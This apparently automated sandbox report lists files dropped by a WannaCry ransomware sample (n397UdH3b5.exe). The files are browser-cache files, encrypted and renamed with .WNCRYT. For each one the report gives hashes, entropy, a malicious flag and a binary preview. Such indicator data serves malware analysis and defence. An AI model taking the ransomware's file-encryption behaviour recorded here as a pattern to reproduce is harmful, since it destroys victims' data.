                                                                                                                        Preview:WANACRY!....n........(...Q..D...X.......6.s?.....8.:..J*V...O{...7.cO.6s..:..J..[i}..4@n....X&.q..o`O.......O..J-P....^q.8.+...M.:.o...i.`u.6c.Kg.X..V.".r.\gx....+....E..R...1<.H.G..6s.!..(...a..D.L=.n...J.....+x.vO.._<..f.%f.W...*.A]....e...Y..k.....c.h....i.............1.!.....k5..2.*4.].?.j..O...Q....%.....1..T..i..G.Te..Y+`.s.......08..09hF........WZ..^U..(qs$.a..~...}~..[h..._...c.b\#.!...2..2Y..x.oI./ ....{....a.~....:E.-...X...wM.Q.+".U...'r1.n~.R.,.(.P.Kdr\.1bT.....H........f...]^sr...].#.....m....!..Zg..`z~..W.....D...U..hG..c.7.B..q.AUK.=.v(...|HSK..'..D.......usr~..J..d....CWY<+...+7...|....c..ae,.v.u.OQ6....0.fZH.&.?.M4m?m...@....{..L.?....n,q.....<....`$~.....j~..A.!7?v.r..e3$....F.-%X.;xn........"..-2..d&P.......h...$...N<,..-S.k.N..8i..8X6~9S.....J...B.=...*.k.z.....,5u.W.8].).RfJM}..k......t'.b`.....I6Q.G.%..,$..pU...{.d5C..~w.j1....\.....u .9...*(#V\.[.,9~..(.<.y..6.~.9.e...:.=.d9.=.T....G.....F. .gd..KKM.6#.t..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\XKZ41694P7XbcLcfFJwPjCvgy20.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):45736
                                                                                                                        Entropy (8bit):7.996160351845877
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:gE8HSoV7tMQjaZsxKy92lGG9hhC91xCMIex2wQHYwaKoFSm4FiF9rN3jeZDF0c7:gDVJMuqnF9v+Qy2xHYwaKoEm4FU9rN3s
                                                                                                                        MD5:89C89C0BD86B926CAF43D6108B3C0616
                                                                                                                        SHA1:C61C1FD557AE46D9D826196D74AC90C89E2CA117
                                                                                                                        SHA-256:67667D267E002340BC44A6690E58E1FF887A840815E15DE9CAA7E595F91263C4
                                                                                                                        SHA-512:C1394BB34E7BA8F62521A4B9DF8FB5A1F4480907EEF7C1E0079BF19D815945326EF44F76CA4D68218BFEF0A835D9AF730A93B978D1B07762B147D2FC95B725E7
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....b.+...~\`.d........N.E......9...?..W.....s..QOg....q.7.'.....!......0...+..M...n...+..B.1}.^$.....Z.2.5....{.Y.t.\...........s0......*..........$..-K..l.....A.R?t..<.k.l.3...N.-..q<.....+YH.4....\.c....#..)%..E..Dd.8)vPq.....x/.n.z4..v.f.2.............,o..G... .6Y.....z.7\@...A ..=..W.....K....A .IH....E.d!...f..O<b{..FX.;.6..B`.s..\..=-. .....~...I...L..;]g.F.q...)-^AD.%..5l? Kk..3.._n...n.0O.a.ue....g...p....n.J.|e...P.qpH...o....:.zZ....<N..R5....JmHs...i...1&....n.. &j..-}..m.TQL...F.a&.^....Ca.q.Y.....'......L..7..if.Redo4..7..9...Cm...m.>.L..gS..*.#.h.1....qB..&..*(..].*0M...@@...}.)...g..L....T'.{.{W&.....#...3^....)F.^..o.1.>..`v..A..w.V.#.)70n......u:.v#i..+8........=#....<K.........M...^#.....]0~Rl.K...YJ.:vw..C..Mmlc.R.5.fKA..^....2...7....".o.....N.K8.r./.~_9...S...Y.z.H.,..F?+.b..4Q.&...~.dm........+qV...[..(H..7.}.m0k.".A...mv..1..QES......G...~.^.\.3.M...... 9ed.........>>...5#.....yB...s.. ..`.2.J..A.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\aa9hZx6dBkQS_i3suvJ6ww8e5nE.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):305816
                                                                                                                        Entropy (8bit):7.999401956276401
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:bLc2o02dGPC3OHGbqBp5lzIQNRhw0orDX8gknmTpb556F3IajR1tO:sp00GPC3O+q1lM5X/kmTpbmFb2
                                                                                                                        MD5:6C756A36B18201784C9101130BF5B6ED
                                                                                                                        SHA1:86B4ABAD84652E641C189BFFD64E4E5B13B380ED
                                                                                                                        SHA-256:46A16DCDDFAC48920117CEA98C7570D97FC5A54D98F2E178EDD8B357CF910FDB
                                                                                                                        SHA-512:FA66AE418C4D4D86CD41FCBB0AAB04DF9B8446E909C623D5E3019F43DF4A0BEC65E2D475FEC12EEBF81E1DDE4EF35F22C606F1631F716515153DE214D603BB4C
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....jwwT.H[./....|t..r.".T.".....,|y..l^8....f......O..B.6..2:.(?..]4."./..{......_......cU.[......~.)+~.i.&<..r.5.v......-(N....p.R...J!7..y..S.yc....sx......a~..jT........&...w.}b3.;GP..8..5...,$..y27BlJy{.?.Qn.EA.S.&..:. .H ...V......V..'k.!....}...........O....7z......T..~].d6.;..6..).F....M..D..B#~.*...`.7.P.$...F..m..I.m.S...i{.....&...#......v.....`u.E.t...b.+.....m....c...w.....-z.o.D}.!..r.s..J.....F.8.X;.*...M..nV.......|$.W&...9.7.q.\.AZ..8%...$.0T....{3...<.%..[o=.~...J...(...41..Q.#...f.s...O|..~......(.n.....8y...v..nL.......q..h.n...V.!v...<..2... `..A...6.;.A."Cu....m.V.w.A.$.!0...R.+j.)Y..^.-._1.F...~=.....:.........|..{......l.....1,.O.Km..D.@6Q........-...=.oN@G..FP....z...n..4u&9P....yh.._,......<.....DMf..7lf..R.s..$].X..q....<...0/g..[).S`.U..7.....>....+.A.'..#....._N.Yr........g~X..l..P..x.W...S.u...$.p..k.....gZ..{.w&........B...vw.d4lO.E.h.I@-..MA..n..'...$.A..n...L....;E.C..."..x%.....>.z]5...<u...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\h0_ymK9wPEJMicnVALPw5taHcNA.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2184
                                                                                                                        Entropy (8bit):7.908500323214065
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkreubnwNx1Sj6xT1zRxLwKYlG8wr71f4xRofCIgJ4:oauGDSj6d1zR5wKSGnB4xYCIF
                                                                                                                        MD5:8551478AFE208B8738470D00C42D82A7
                                                                                                                        SHA1:298F72597002ED1F4CD5BFA14DA578D33E8FDD35
                                                                                                                        SHA-256:D06F121D0B2E495E7AD899FD357BD7697E0621F31944CD2FB80C77075123349B
                                                                                                                        SHA-512:58635C2DCEA6CBD22096207CF4053A3606E0D672B7E4A04C565C8714C32B7277DDC165281978A51027D9C8993EEC3672FDB07073DD1762EFC3606A1F9E0D0C91
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....].....BE..*.f.m.2.7...w+....QLgN]...m'.I...].....?.$-w.j.;....Lm.....s.)K..*?a..t[C...M....?...?..bwm.Z\^..\.#K.K.0.Es.cG.*Y{.....+...w....F8I.?..%tw9.c_f...q.+.g..@Ma.*o&*..3s.o5.....y....h:...H....A...!OC.8.Y.GI.#.C.K..l.2$.....X. ..0.l.....v.....b.......r.r.+..0@.-J.....?..R....d"..Y...F.....Yyz.D.y...*_.../".. ,..Jv...^r..Q..B?...K.^8..Ow.V.y.Q..}.....~.X:,.Q.A........r...;.z...q...O..v..?IF.@...&..f....9..W9..]'.aS........c.|....\._.. ..:..t..-)...X..&l.u.p.."&.+.<...TG.0u.n.<7..;....(..[Q(W..mxk.#.{.5.../.}...;...~%2..W...?[t.k(......q*..HzW...m.+....d....,...&lq.Nr.j...WG..X.]..B..S'.z.`..E..?d.3:...f{-.................=........$.....(>.....6.[1.{{`....U.H.>.......g..'p.^..Y...{<p.S..n...1.DG.V..s{..p.:..Q.:.#5B.t,).....EnKw......qy.%.R...}i....7}.[4.xv<..U`Y..R......q.bYT..gk0.".......P.8Ze..fj_ u%A.~N.23..jUcx.....@#.~_....@..?.L.(...h...#6g.H.u3......G...... .y..]].w...P.....e..MS..........C8P....J.5....;...~F.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\h2m6AVCpDtS8Ff3ZxuDGx1A2-O8.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16056
                                                                                                                        Entropy (8bit):7.986616909639371
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:bokaH0xibX5NC/VuRje/7UDNpqfUL0AoS0FlsY6SLNAJE:bokqDCt+6jYqMwA4WANX
                                                                                                                        MD5:11B10A3D74535412D9FC97816922D71D
                                                                                                                        SHA1:34042FC6E00C2EF2202C253E425435F555A001B1
                                                                                                                        SHA-256:D6DAD12369BC4424FA63E1D00AE16987DBA616CAE3309F15AB2DAC55AE396FE7
                                                                                                                        SHA-512:5B17C6BF0E18F2CF2CC7FA867EAEDDB6DF1799B755C557E1637C1AFB75CB5D416D08F25443CEC3B65B06FE85EE3997135D2436F9E6510CA03066167ABF32CEDD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.............?......Y....[.r..|.Lc.E....L....H+.....d....w.xaG4;Jd...&..k6......By...,.Da.......5S.HZ....:......hl.`g,...u.`.~q67s.&j>....:...=0g..g.y.w=.5..Z..(_i....A&........r..|...+.f...Z..!..p.h.....3.....%W.A.b...+.aj7|...Y.<.%.(.L....C.]....N.....=......(.;...][..A......v.6.......e.-Rt.e)._^.....o. ..Q.....v....B.\.|......]eOP..t......)...Q.[Xs...t..f....m.o......I..}.).M..p.>l..[..+.8........P..:{jH.J:.IQ.rDZ.'..........:..5......=.;.......[.$2.!l.`.....4.:.2A.D....f-#s...7.G..Tc.e..J.y.:....4P.....G-*..T.f......_..@....*o..X..By..9S.?z....Xy.@V\...):..L..P...9rK_.:Xm.....L.....7!j.|..DV.:......@*(b.[-....T4ZN....{E.e.s.A.(...s....W..[._.`..$...&..gw.m,..uFI|.).6..C`.L.F+.....w.i....~.E)va4.%...z..y.O.$]3...?t...%......w ..-s.....t..I.u .!w..d.l....Y<k.g..Yb...zo9i.w...#.u....,....~*...dw.............0..&....$L..m..@..7..P..N...h.B.N..qm...N\..B.P.T.../.%c.........5.!........\.....P......'.8..'....F..NC. .../.........=..GT+

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\31OD4BVP\th[1].jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3976
                                                                                                                        Entropy (8bit):7.951059816940628
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o/nEKvtJZvE9KIGoBXuyudqrxKL22WGFLknLyMku9:knEKVDvEojSTuih2/Fmx9
                                                                                                                        MD5:4ED201E90F24BC41137688DA3DD27878
                                                                                                                        SHA1:5ADD6234714FDBCB282D0C63FA79905E043906B4
                                                                                                                        SHA-256:521F312B4CC1AFC6980B6D7299C1976ECE9E8E929565D7A604FC881F6C1FE8EF
                                                                                                                        SHA-512:14C899DE8343C8D7687CFFC4090989B4B75557829F92B4C4D5DE9A1AE1F1763A4A76B1BB85A3105D1F72340DA0A99D1F27D2C7666AC36B600577239B77EDB3E9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....f......1"D...n.n..zE..\.$n.6.-).|.......%xi..c.'b.0Kp..Dx.-...:MY./@l#..O..$....H.~......%;..Q...o.....B..K.....J.)nJ...F.!.....G....]K.nf... 8.3..~.7~.W..K.9....K8w.........D............v......Us....B#.H."...YcS..'.}.....g.F....J.HjIP.+Sj...rO.....g.......A....>.]+.P...s.%.3{. ...B....Y=......U..m....V.....ub._1......+.R....~U.......h:.If].....n.V<..F.2T...qm. .~Y.L.i.%....u.........O.\...K..ft.b.s.rqd.H/.?..7..kaK...A\....D..{.eT'...Qd`.WB..EOmW:..........._G>N."G..!....r.....0Y...S.=S...p.S.......&H4.Y9.....s...dS,Z.....n.:...............t...*.Z...D..+,fv.[.......t>...."/=k..d...<....h..........2E.h1..2v.Y..[6...3H.aJ..T..f....MDV.d..q.F:w/>.J....i.n/_DL...0[-70.m.....&.5.{J{..`......nk).....ynLk....A.......%..'.._....|p;,r...NFq....'...+...C.d....T....... |n....c.(.......s...a.5._.Kf.R....#...*e...E..Qu..#....>..i....q'.<.-......e..t...C...+L@.D.$.g(..k,....K.8..3..\...'..8...EL...@.i%c.....Q~-#..%..7.j.._t$.6.{k..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\31OD4BVP\trans[1].gif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):328
                                                                                                                        Entropy (8bit):7.308474811420886
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkExuqnIE6a/rWcHoZpCSDcoXxsMe9jFex3TIjJ64gqS4HmUNo1ZzgFJB:bkEwpa/rWuMoQxI9BJTEUov6T
                                                                                                                        MD5:2E4C3A87B64272373BE1344E5B70AC97
                                                                                                                        SHA1:EEC9B8E86D0531D95416F21D1756C84848F0B983
                                                                                                                        SHA-256:0107239928379033B9429AE5EFC0C04FB738AD695E11F95709AF9BAE799855AA
                                                                                                                        SHA-512:4EE1FE1E9E9C5558C161691DBE046BB4595D9FB594605A89A2EA9DB6351F6269C51AEC480414FF167BB6B00E4F3D8B379F7FD5184D6C4DCB660C2F9FE2E7221F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....1..O.g<+i1..].O>f...'(.........p.5.....Y.U..-(...$`t..S.F.2..yM.h.fj..\......>dIlk..-...k.pe..v.F,......\...`>.....j;(9.j..Or..z..Q.X}+..H....).._.M.@`GxFi...Ml....L&{c......c6...MF.,.?....~;.j\..7...SA.M.55#m....@..Q{.4.uE....dm.."/...).fel(.....+.......Q/X.....S. ....}*...R7.D..=.....w......hR}.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\31OD4BVP\trans[2].gif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):328
                                                                                                                        Entropy (8bit):7.245039161886101
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEvIfqFxXzrYBmTrkO9FaVaujBjKEvkIQydsp3vx2cRQYwa2/RnAiySb1parOq8:bkEAqFdM8TrkOPahj0EMAdsBxazZHy/c
                                                                                                                        MD5:9DD3740993FC601CFFE8D16A027EE9A1
                                                                                                                        SHA1:7F4A2B10C1B46F917C8C1E0F98C1669CC32FE7F1
                                                                                                                        SHA-256:9120E628815E472B237B74649929894161617FE65897BF27BE78CD3C6144E09D
                                                                                                                        SHA-512:5E3D48AEB2EF226C74E6622239EB890B02D3B6C44E247E8F12FDC0E92EC1F2AA0DC00336F9190A6927A52344F2323BA7A233A45E647F1E16564351ADA92ECFEF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....R>...ij..5Z`.C'....}.w;}.eg?*..'....A...]4.S...O.p..$..I...MZ.U...Ki....NzHB.0q.J/.p\.h.@....0B.q......I...j...Lg/+T..^.T.#.M...#..5g...I.S.....6.5.1........H$.>9..A.RN.......Igws5.P......A.S.l|...F>6.....V.....=0%D.-q.s.~.e@.8.v}..y.L.*....+.........]....k..h;-.V..$B..9..I..ZO.(-*&..,..!...3~7

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\6PH02H7Z\ANzUnPnVY0oL0XWxs0RLJxjJLUo.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):21144
                                                                                                                        Entropy (8bit):7.991922160238428
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:vCp+WF5Gb3ckoR9zq1Oi1iwa1/EwZXSdtxb2TFuOXIsB1kNYkxg1JxGg0G4flB:abY3ckqq4i1iC2SdtR2TFuj/8+g0GoB
                                                                                                                        MD5:F0636E45A85D61FEFAE87F76117719CB
                                                                                                                        SHA1:5C9B9B0B7AE5B1BD98C5EB15E2C6FB7B2720E947
                                                                                                                        SHA-256:489AED890195B7D4350CF4AF205636942039C5B60AECB7A1CA1D0E160AA4737F
                                                                                                                        SHA-512:7A885D7ADEE8ACD285AEF8C4E7905E5931CBCCA745F26D945A6C8244A809C34B9BABB356E2D4D4DD4198D4BF292EB1CCDC2F9BCA2A28742A6F277A1B2974AEAB
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....6.f C%F,,x.1...F..pB.-K...C._+..'.5...BFH"._.i......15..e5..q....S..@..?.$..Mb.N...<..5.....3...|HY4}.i4AL.....X.k...e.m......>+.xe.o.1c.&._...1.......n.@..+.B.$...C..).2%&.o.f^.$\T0...K..!..].W.....FY.....%.Fs/\r.3...`.....{A.........t..U.lYXV....|Q.......<.&.]..{.z).....j... w.aP'...hI.N.........[.H.Q....O.>7..]E..}J.L.....%.C....Zk.M.1`8.2M.Z.....l.F..;;w...g..A.c..W.do.8....F......-.}.I.j..r..y../.!.m5.SJl..x..hu...i...C..E.E>;.g5.=u..h9hv............".JP..&...o0....p#+......b'%..J=)...V..3....|.f.#.@...tH.l.7..=.....*...aq....|)@&>.._..@b...J8'Hh......R.x..S.v.K..'P....Z..."L,..Wo.....F...iS.Vc..i+4.E...l....n-...o.....(....M.....|.].e.~....w...T(1::.......e)..%B...B.iJ........Z..es1.J.vo....w.{.fC?R.).6........E..&...$*.,@d.uJ..q.A...ko .I..c.)?.Z.'&B.9......}.........A.A.`Z..a..K'o._G..c.EHC..U..k`....K....=........J`^.4'.PZ....... X...q..z..j....{....\Rw.~..;.&p..%..LN\..=M5-..........`....... m...t..\j....d..@a..U.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\6PH02H7Z\th[1].jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2456
                                                                                                                        Entropy (8bit):7.916289495278422
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkD5+XlA5ld0rHKLD5Oshrs3SzE/Q7EpeNKPOagyG0mF1CTdB:oF+XleX02IsTzE/Q7IB1gNfF1CTL
                                                                                                                        MD5:1E46C527D24FBA8B11C466249D00A639
                                                                                                                        SHA1:0AFB78F0D385AFE4F6FB9F5128F4A468AA81275D
                                                                                                                        SHA-256:664DA4FA84D8B02EA007EE3E4DCE3765CC1B398502B35C3530C25E242A0136EF
                                                                                                                        SHA-512:B04F907931293CEF56A04D89CF0A6A7070CC76C5EEA18ABC949E2A0A176854AD494497507CDDDB55373C907134222F95AFA3AA1E74C4A498BFCA8534B1107765
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......x+uY..&z%..^..............y..i.6..Rj.....n_o{...Z.Z.`.5&..Y....s..:...B..T...'2......K....p...@.......BB.!..........s..uv>.{U.....eX....|.}...?C.L3/.l}..wO.JmB..F@...Q.s8.......C. ....4v..:.{%*Co....3o6..?zp.6.RR............A^..C.s.kh..9.......y.......8.e.>C.....2...g..:P....6n..].\.S........#`..l..?..u...A1G'd..<.\Am.5,.$.9.!..iJE|....F.;V3...,.d..".c.0............G...bH=.R.1......g.........d.iE.N}...7.z\.(.<Y'.z{....rD.6.g...FV5.]...Oq...a.G.......k.........l..`..8=. ...P0...b..mv..2....&GZ8...Z..^.d.4X.JB...P..k:...[0.xx...i^|.$d..%.i.mx....&Bf...HB}.N..7...w.^*..i.w.?{.s.$..&....#....!.!.S...T..O.....I.S.....\..os:+K0d.w.8.8..7...p..F........c...:...y.#.:".:.<i.."..}Bj.Q1.....U.J.....1...oz.`u.....W>.|...[...3t.9.`.dz.3.C.F..z.gJ.....y.....8F..e.l....-Bc.HN.N... ..-..d..g..)......Q......../...(.....M...!..O..x..w.t.#L.e`.....vB@`:*#.B..!.t......{..].hOo.....Y[.5.x'..=.-...$...8....rQ..6...".c...O.s......

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\6PH02H7Z\th[2].jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3240
                                                                                                                        Entropy (8bit):7.939209200846343
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:omNVR8Yy6gfKMCr3HqXsgkAhIAPEEVH4/CIonwE7UmX:nN/Jy7ifxgDMU4/CIUTUC
                                                                                                                        MD5:E21A6719241B865E70C7D1D001A24E6D
                                                                                                                        SHA1:10ED9E4F7F28574EDAA02BD7B6A7783B87D0C0E2
                                                                                                                        SHA-256:36EBBEBB8F1959945C8DBD52A7E4D12CAC63213972918BBFA5A7D5F4730AF20C
                                                                                                                        SHA-512:B07A278B263E869562F8A852E6836715F2F201944B0C0D9024D57B129488C7BBDE1CF030143FD0F01CAA5EE8E3DB000E44E3BD2A730125BC1B43D8FD8724D8EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......KU..}}....!.p{..{.c......y. .[.....J...9z....0........Z.[(...THT....e............. WW.....G\.9T...-f..K...H.;..n...x....cG.....2...J.V....Z..7.......q....8H...vH..tT..0u2..3......d.!.]...B...E......D.n.:.G...S.W.q.>F.?..^.K.u*..J...g....).W............\x.cA..E.$)......m2R...q.JGR.....d..KO..0..H(...X.......p.]@.|.i..+..........Q.....M........c.9./...W&).3...Y.,..J......."R......... ...X.G`s3.W...m..W.....'|..R.|......(.z.v@...d.;.P|."........o..v.3.$.DQ .E.R .-.....!.7=...+..e...T._...&v.T...o}G.%3d..sE:..0.......Z-..(..Q..*..$.z..9...<.?.t.=3...G.L..,.9MC.c......W....{..l.v.X%....{.ws.!..b..&..G...............p.Q,...`....h@."ZE.A<.@...xp"....1?....!.5..z.2.../.2s.m.<...y...n..u...%`f.C.y^..uU.OA.G8y.3....,n.Z#%.7.....a...8......a.!S.j....E....vX..S[.J$.b:.U..TL.........'.3.k...+..k.b^.........o.D.9.T.......%.z=...r..8.t.].Y.I...(....B...G..9..#~4.8c.....=.Xx......r..qE...E ...5z..3...4..?..P............jP..Vk.......2b.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\DZC4C4P0\Btu7tBP0vQIHDIMxag4vCxAtQuY[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):59400
                                                                                                                        Entropy (8bit):7.996587150498919
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:77266j9Vb3kYMCzRltzTtj3IbpzSv7TOEVfLQ:7qbj9VktCzft35I9zsK8f0
                                                                                                                        MD5:370ED5B48E29272521A2F9CE91235BCB
                                                                                                                        SHA1:6F0FAB1EA3B5B049559BEF57DE58A36BFE199F22
                                                                                                                        SHA-256:46568456DDBBA860BB75336EF039CADE4A0502B52DF82736D1870AB9E72B87FB
                                                                                                                        SHA-512:33CA307FEE1096C911EC804BF53FCCB6168A622089F671D16E59F00430265D421AEFAF19F3289D2BB4109E3E100A31F00E398E6E84732EE93A46C46DB7056498
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......'..p.[H...(.Ad.3.HQC...e.L.`.-.U. ....h....)..@*.d`&Y.@.o."i&-r....?..v....s...;..........i....{....C.mV....;..G.%.^"D...m...k\......b...|cO/..}.Q.._.i."F| V....2...._...L...Xor.G.......R>..;SHn.o>..].e...>.z...2{.........l.E.~.+l.xY].B..............FB;..?qu.2!FE7(.?W..X.\.._.i]..'4{...f.{...*p..i...y...G.._..16.M.4."...)..9.4.p..s. 3R....J........i..Kw.S....._-V...xE...c....N....m..J...H.4e..*.............{G.8..`.._.~rV'.:W..w.I...@.#.I......PKhTL24.w.........<..v..G.........^..G7g.!...c....@..D_;B3}"..,i.a'..6.....g...0...x%C.b...u.'....$....~e..j...V..w9...9......ioo.#.D.Tp?.F.......;E..K...,..d{.B.Q...]......'J...Y_.:..'g.q..S.8|.'...'..0.[."F..Sjq.p.... ...D....5Cl......>.g..?..1......l....]....^t.6.Z....?.R...:`Z.zC'(....U...ng.....(8.q..7....w.c....`...8..5...?X.....g[20.3.>.-.#|......v...`.j.QI....`^..........a.t.@..G..../..S..V.i.B...z..o...F..r..D.5l.I.u..DD.`....KS...k".e...uvW..nO..f...".Li..Qc.|..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\DZC4C4P0\th[1].jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3704
                                                                                                                        Entropy (8bit):7.952350350399352
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:os+PQlLj7v0ic3wfOvc8+VfYP4HhRvL9kpL/YPffRSOk:HcQlLcwfOGQ8xHRSOk
                                                                                                                        MD5:FE1B04FE5DD061247C4FA1032398B454
                                                                                                                        SHA1:067ACDD518373918C9AE3E6C64FB1B7320E53211
                                                                                                                        SHA-256:C5D108B478B046F1D40ABFBDE7D43C358E29C63968F5D17368B625739789BCC9
                                                                                                                        SHA-512:5C5199199A4B90D10496E97FDAA41C37856DB174A74A57A6F5885E60002D43BAC23AA36A28CE6397122D32DA56B360F29732E6F4B0E7861AE5978C5029787A7D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....]t_...........:x.".x..].6E|o@..NB.(..B[Z.O....?..-##...a.%..=..:.(.....)......,....TQ........'oZe...=....l,.......6.}.U.~...f..K.Y..;...$..J...E<.l.b....|9C..U.f.g..?.S8.<w.....a.W;r....1C..?..|L..|..=.T7..p..#.....zP...E.. R..Io.9 ..q......._.........d=.,...G.......p...T!........7.h.z...........m5?...X...:.....5...jV....X..F|.v.|......IB.~OL....A[.. .. .l..k...D"..#uH.Z.n..n.6jn.O.)j..X.!.=tI...q.S/...dD..G...%.k2....O..,..'....&.c?..(....A(.'r.Q.Z..F.Qv..e.&WGA...^O.\P..6".$G.h.o...&......j.5m.2..".~x.DG..4.DEO7u.,6....I.'..C.j.(v.w..uXJ.....h.y..e...&.=(..s..o......0...fO.N....\.....H&w...0'..z....=........#pL....^5.U:U..v...F../eO.O.......c..z.?.R...A..p[......3O.......I.k@..X..I.,..t.g.0}...6.P.Y..9.....t3.mT....xWG.W...qa........w..A..........l2..%.,Xm'.L.....U.......{..*aP&... .v...x&5.+jd..........P.U....O>[..,K.2z...*.*.](.)...8.~.v^..=F..-j-.....h.....n...'..].1...7.*..h`....D..F..R..w.;.....FMZ|qJ.:..8h.t..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\DZC4C4P0\trans[1].gif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):328
                                                                                                                        Entropy (8bit):7.210570021792694
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEuLxsRb7/JXPUW+O6XGkZrNS510qwFnKVOSRpp8jPIskaVBlX+fWOQZwdzl:bkEY8P/aGkZNSoqwVKVNryPrL2rl
                                                                                                                        MD5:C60152C1C4F8A7C76FDDF74203CD9853
                                                                                                                        SHA1:ED9E0CBAD437EC8AD69CF3C99A76879925E9A86D
                                                                                                                        SHA-256:DEC8AE7CD42201C217557109DD4CF5C4E7993FC72296830207033671ADCE6E0E
                                                                                                                        SHA-512:51064128BCC39CE38F3F2B95BE6801471A9C36D383E9CF12F8DCA5BA39E1A5DA804D8CEA5A3AB5241E67643D7E98BB9113A7020FB442A3B08E37AF40D64B29FF
                                                                                                                        Malicious:false
